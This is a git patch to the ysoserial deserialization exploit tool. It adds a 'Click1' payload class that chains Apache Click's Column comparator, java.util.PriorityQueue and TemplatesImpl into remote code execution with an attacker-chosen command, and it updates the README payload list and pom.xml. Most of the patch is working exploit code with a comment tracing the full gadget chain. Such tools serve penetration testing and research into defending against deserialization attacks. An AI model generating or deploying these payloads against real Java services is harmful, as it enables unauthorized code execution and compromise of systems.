From d367e379d961c18bff28fd2c888a2c8fe0dc6e63 Mon Sep 17 00:00:00 2001 From: Michael Stepankin <44605151+artsploit@users.noreply.github.com> Date: Tue, 2 Feb 2021 16:41:29 +0000 Subject: [PATCH] New gadget chain based on Apache Click (#154) 1. Add ysoserial.payloads.Click1 class 2. Update README.md with latest payloads 3. Remove duplicated "commons-io:commons-io:2.6" entry from pom.xml --- README.md | 5 ++ pom.xml | 10 +-- src/main/java/ysoserial/payloads/Click1.java | 81 +++++++++++++++++++ .../payloads/annotation/Authors.java | 1 + 4 files changed, 92 insertions(+), 5 deletions(-) create mode 100755 src/main/java/ysoserial/payloads/Click1.java diff --git a/README.md b/README.md index 85c7219..8dbc373 100644 --- a/README.md +++ b/README.md @@ -47,8 +47,10 @@ Usage: java -jar ysoserial.jar [payload] '[command]' Available payload types: Payload Authors Dependencies ------- ------- ------------ + AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 + Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsCollections1 @frohoff commons-collections:3.1 @@ -57,6 +59,7 @@ Usage: java -jar ysoserial.jar [payload] '[command]' CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1 + CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 Groovy1 @frohoff groovy:2.3.9 Hibernate1 @mbechler @@ -69,12 +72,14 @@ Usage: java -jar ysoserial.jar [payload] '[command]' Jdk7u21 @frohoff Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 MozillaRhino1 @matthias_kaiser js:1.7R2 + MozillaRhino2 @_tint0 js:1.7R2 Myfaces1 @mbechler Myfaces2 @mbechler ROME @mbechler rome:1.0 Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 URLDNS @gebl + Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 ``` diff --git a/pom.xml b/pom.xml index bfdf2d3..97a10db 100644 --- a/pom.xml +++ b/pom.xml @@ -136,11 +136,6 @@ commons-io 2.6 - - commons-io - commons-io - 2.6 - remoting org.jenkins-ci.main @@ -336,6 +331,11 @@ aspectjweaver 1.9.5 + + org.apache.click + click-nodeps + 2.3.0 + diff --git a/src/main/java/ysoserial/payloads/Click1.java b/src/main/java/ysoserial/payloads/Click1.java new file mode 100755 index 0000000..ad4e498 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Click1.java @@ -0,0 +1,81 @@ +package ysoserial.payloads; + +import org.apache.click.control.Column; +import org.apache.click.control.Table; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + +/* + Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). + We use java.util.PriorityQueue to trigger ColumnComparator.compare(). + After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. + + Chain: + + java.util.PriorityQueue.readObject() + java.util.PriorityQueue.heapify() + java.util.PriorityQueue.siftDown() + java.util.PriorityQueue.siftDownUsingComparator() + org.apache.click.control.Column$ColumnComparator.compare() + org.apache.click.control.Column.getProperty() + org.apache.click.control.Column.getProperty() + org.apache.click.util.PropertyUtils.getValue() + org.apache.click.util.PropertyUtils.getObjectPropertyValue() + java.lang.reflect.Method.invoke() + com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + ... + + Arguments: + - command to execute + + Yields: + - RCE via TemplatesImpl.getOutputProperties() + + Requires: + - Apache Click + - servlet-api of any version + + by @artsploit +*/ +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) +@Authors({ Authors.ARTSPLOIT }) +public class Click1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + // prepare a Column.comparator with mock values + final Column column = new Column("lowestSetBit"); + column.setTable(new Table()); + Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); + + // create queue with numbers and our comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by the comparator, + // so it will trigger getOutputProperties() when objects in the queue are compared + column.setName("outputProperties"); + + // finally, we inject and new TemplatesImpl object into the queue, + // so its getOutputProperties() method will be called + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + final Object templates = Gadgets.createTemplatesImpl(command); + queueArray[0] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Click1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index b6d7aee..48c9408 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -24,6 +24,7 @@ public @interface Authors { String HANYRAX = "hanyrax"; String EDOARDOVIGNATI = "EdoardoVignati"; String JANG = "Jang"; + String ARTSPLOIT = "artsploit"; String[] value() default {};